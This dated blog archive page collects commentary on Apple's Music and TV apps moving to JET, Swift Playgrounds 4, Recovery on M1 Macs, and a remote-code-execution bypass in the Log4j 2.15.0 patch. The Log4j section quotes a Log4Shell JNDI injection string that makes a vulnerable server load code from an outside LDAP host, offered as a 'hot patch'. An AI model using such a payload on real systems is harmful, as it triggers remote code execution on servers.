Archive for December 16, 2021

Thursday, December 16, 2021

Music.app and TV.app Use JET in macOS 12.2 Beta

Filipe Espósito (tweet, via Philipp Defner):

As first noted by Luming Yin on Twitter, Apple Music in macOS 12.2 beta now uses AppKit – which is macOS’ native interface framework. 9to5Mac was able to confirm based on macOS code that the Music app is now using JET, which is a technology created by Apple to turn web content into native apps.

Some parts of the Music app were already native, such as the music library. But now Mac users will notice that searching for new songs in Apple Music is much faster as the results pages are displayed with a native interface instead of as a webpage. Scrolling between elements has also become smoother with the beta app, and trackpad gestures are now more responsive.

[…]

Yin mentioned that the Apple TV app has also been rebuilt with a native backend. While this is indeed true, 9to5Mac found out that Apple had already updated the TV app with JET technology in macOS Monterey 12.1, which is available for everyone.

Note that Music was always an AppKit app (not Catalyst). The difference in 12.2 seems to be that more content within the window now uses native controls. Personally, I didn’t notice a change, perhaps because I don’t use the Apple Music areas of the app.

I still think the apps look and behave oddly. The design still feels like iOS, not Mac. The thumbnails still flicker. The stores still feel like bad Web pages.

Previously:

Update (2021-12-17): Nick Heer:

These changes seem exclusive to the Apple Music parts, which — like the iTunes Store — have long been webpages rendered in the frame of a native Mac app. They have always felt slow and disconnected from the main app. In MacOS 12.2, these web-based sections are now interpreted as native Mac views, and Music feels noticeably faster because of it.1 Scrolling is smoother, and the spacebar now pauses and resumes playback correctly. These improvements and the significantly reduced CPU consumption in MacOS 12.1 make me believe that someone at Apple really does care about the Music app on MacOS. There is hope.

Steven Woolgar:

“Native”.

Those seem to be using JET which does some kind of voodoo to make webviews use native AppKit stuff.

IMO not native. Maybe “sucks less”.

Jeff Johnson:

LOL don’t get excited anyone. You know which other app uses the Jet framework? App Store app[…]

Damien Petrilli:

I don't get why ppl are excited about JET but bitch about React Native when it seems to be the exact same shit on paper.

Joseph:

It’s weird. It’s not like there’s no API for Apple Music. They use it for iOS.

See also: MacRumors, Hacker News.

Update (2021-12-20): Saagar Jha:

The new “native” Music on macOS is such a great example of misaligned priorities. We’re all so used to Electron garbage that it’s almost unthinkable that it’s possible to go from WebKit garbage to Cocoa garbage, and yet Music did exactly that instead of actually getting better.

[…]

Which brings me my point: Mac users (myself included!) love to talk about how Electron is irredeemable, being a memory hog or not responding to keyboard shortcuts or using custom, inaccessible widgets. And those are actually major issues, which is why we keep bring them up, but they’re not what is wrong with Music.

[…]

No, the problem with Music is that it just straight up doesn’t work. The design isn’t “not Mac-like”, it’s just sloppy. It doesn’t use all your RAM, but it’s certainly not performant. These are not things a UI toolkit can fix.

Swift Playgrounds 4

Juli Clover (Hacker News):

Apple today released Swift Playgrounds 4, an update to the Swift Playgrounds app that’s been in the works for some time. The newest version of the app allows iPhone and iPad apps to be created directly on an iPad without the need for a Mac.

Swift Playgrounds 4 includes App Store Connect integration for uploading a finished app to the App Store , plus there is an App Preview feature that shows live updates as you make changes.

Steve Troughton-Smith:

While you can monetize your app as a paid-upfront app just fine, there’s no access to In-App Purchase, which feels like an unnecessary restriction on people learning to develop iOS apps through Playgrounds — paid-upfront is extremely hard to make work even for experienced devs

Marcin Krzyzanowski:

Tim Cook: We have 60 apps on the App Store. They go through the same rules that the 1.7 million do

also Tim Cook’s company app from the App Store:

Playgrounds Entitlements

Previously:

Update (2021-12-20): Damien Petrilli:

So you can’t even use Core Data in Swift Playgrounds 4? (+ no git)

“We can’t wait to see what you are going to ship with it”

Let’s be honest, Playgrounds is so limited that most Apps would be rejected during the App review for being too simple.

You can use Core Data, but you have to create the managed object model in code. I like to do that, anyway, but it’s not very friendly for beginners. Not having version control is an even more serious problem.

Riley Testut:

Here’s the full code to export .ipa’s from Swift Playgrounds 4.

Update (2022-01-07): Matt Waller:

In the end, this is exactly what it says it is: Swift Playgrounds. It’s a playground! It’s a place that is primarily great to figure things out. It’s certainly not Xcode on the iPad, nor is it a brand new App Composer app or anything like that. It will shine mostly as a great educational and prototyping tool.

And heck, it’s pretty great as a sideproject engine so far. I say that because there is a sweet spot where constraints enable creativity, like the limitations of a sonnet.

Via John Gruber:

Waller’s post is a great write-up delineating both the pros and cons of using Swift Playgrounds to develop (and publish) an entire app. He also kept a public development journal on Twitter, replete with animated screencasts of the app in-progress.

How Recovery Works on M1 Series Macs

Howard Oakley:

These recent macOS updates break from two traditions: for M1 models, their ‘firmware’ update also brings a new Recovery system which is based on the latest macOS, in this case 12.0.1 even when the update is 11.6.1, and a single Recovery system is installed in each APFS container with one or more bootable systems.

[…]

1 True Recovery (1TR) is engaged as usual by pressing and holding the Power button until the display shows that Options are loading or have loaded. This can only be engaged by the user pressing the Power button, and only 1TR supports the full features, including Startup Security Utility, which you can use to change its Secure Boot settings.

[…]

Let’s say that you have an M1 Mac with two Monterey boot systems: one on the internal SSD, the other on an external SSD. To change the Secure Boot settings for the internal SSD, your Mac must boot into the Recovery system installed on the internal SSD, which is in the same container and paired with that macOS system. To change the Secure Boot settings for the external SSD, you must first boot from that external SSD, shut down, then start up in Recovery, which will be the Recovery volume on the external SSD.

Unlike in Big Sur, the Recovery system in the boot container on the internal SSD doesn’t have the ability to change Secure Boot settings for the bootable system on the external SSD.

I think this means that if you install a beta version of macOS, even on a different drive, your firmware 1TR gets replaced with a beta version.

Previously:

Update (2021-12-17): Howard Oakley:

Yes, but:

  • the firmware rOS is a fallback now, not the primary rOS
  • the firmware itself gets upgraded anyway, which is usually more worrying
  • on an M1, you can always restore firmware and rOS in DFU mode.

So it’s not as bad as it might sound. I think.

Howard Oakley:

Unlike Intel Macs, M1 series Macs can’t enter Startup Manager, to pick a boot volume early in the boot process, using the Option key. There are two main methods available on M1 models: the Startup Disk pane in macOS, and entering Recovery, where a different Startup Manager can be accessed either from the opening screen or later in the Apple menu.

Log4j Fix Also Has RCE

Dan Goodin:

Now, researchers are reporting that there are at least two vulnerabilities in the patch, released as Log4J 2.15.0, and that attackers are actively exploiting one or both of them against real-world targets who have already applied the update.

LunaSec (via Hacker News):

After the log4j maintainers released version 2.15.0 to address the Log4Shell vulnerability, an additional attack vector was identified and reported in CVE-2021-45046.

Our research into this shows that this new CVE invalidates previous mitigations used to protect versions 2.7.0 <= Apache log4j <= 2.14.1 from Log4Shell in some cases.

freeqaz:

We also wrote a Log4Shell payload that will in-memory “hot patch” your server against Log4Shell.

${jndi:ldap://hotpatch.log4shell.com:1389/a}

If you paste that into a vulnerable server (or even throw it into a log statement in your main function), that’ll patch you against this until you can manage to update properly.

See also: Bruce Schneier.

Previously:

Update (2021-12-16): Rosyna Keller:

2.15.0 only had the DoS and data exfil bugs. 2.14.x and earlier have the RCE. 2.15.0 has no RCE. 2.16.0 fixes everything.

Update (2021-12-17): log4j-scan (via Rosyna Keller):

There is a patch bypass on Log4J v2.15.0 that allows a full RCE.